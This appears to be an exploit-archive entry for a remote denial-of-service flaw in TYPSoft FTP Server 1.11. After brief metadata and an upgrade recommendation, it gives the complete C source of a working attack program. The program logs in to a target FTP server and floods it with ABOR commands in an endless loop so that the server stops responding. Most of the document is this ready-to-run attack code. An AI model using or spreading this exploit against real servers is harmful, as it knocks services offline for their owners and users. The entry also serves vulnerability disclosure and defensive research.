header-logo
Suggest Exploit
vendor:
TYPSoft FTP Server
by:
Jonathan Salwan
7,5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: TYPSoft FTP Server
Affected Version From: 1.11
Affected Version To: 1.11
Patch Exists: YES
Related CWE: N/A
CPE: a:typsoft:ftp_server
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Denial of Service in TYPSoft FTP Server up to 1.11 (no crash)

The vulnerability is caused due to an error in handling the request (ABOR). This can be exploited to satured the FTP service, and make the server inaccessible for several days.

Mitigation:

Upgrade to the latest version of TYPSoft FTP Server
Source

Exploit-DB raw data:

/*
 Soft   :  TYPSoft FTP Server
 Version:  1.11

 Denial of Service in TYPSoft FTP Server up to 1.11 (no crash)
 Just the server is saturated, it stops responding.

 --------------------------------------------------------------------------------------
 The vulnerability is caused due to an error in handling the request (ABOR).
 This can be exploited to satured the FTP service, and make the server inaccessible 
 for several days.
 --------------------------------------------------------------------------------------

 Author	: Jonathan Salwan
 Mail	: submit AT shell-storm.org
 Web	: http://www.shell-storm.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int syntax(char *file)
	{
	fprintf(stderr,"TYPSoft FTP Server Remote Denial of Service\n");
	fprintf(stderr,"=>Syntax : <%s> <ip> <port> <user> <pass>\n",file);
	fprintf(stderr,"         : %s 127.0.0.1 21 anonymous aaa\n",file);
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc < 2)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

        char request[200];
	char answer[500];

        fprintf(stdout,"[+]TYPSoft FTP Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
	
	if (srv_connect != -1)
 		{	
		recv(mysocket2,answer,sizeof(answer),0);

		fprintf(stdout,"[+]Connexion\t\t[OK]\n");
		
		sprintf(request, "USER %s\r\n", argv[3]);
		
			if (send(mysocket2,request,sizeof(request),0) == -1){
				fprintf(stderr,"[-]Send Request User\t\t[FAILED]\n");
				shutdown(mysocket2,1);
				return 1;}
			fprintf(stdout,"[+]USER request\t\t[OK]\n");
                
		sprintf(request, "PASS %s\r\n", argv[4]);

                        if (send(mysocket2,request,sizeof(request),0) == -1){
                                fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
			fprintf(stdout,"[+]PASS request\t\t[OK]\n");

                sprintf(request, "ABOR\r\n");

	fprintf(stdout,"[+]If exploit is active, the server is saturated, it stops responding...\n");

		while(1){
                        if (send(mysocket2,request,sizeof(request),0) == -1){
                                fprintf(stderr,"[-]Send Request ABOR\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
			}

		}
		else{
			fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
			shutdown(mysocket2,1);
			return 1;}

	shutdown(mysocket2,1);

return 0;
}

// milw0rm.com [2009-05-11]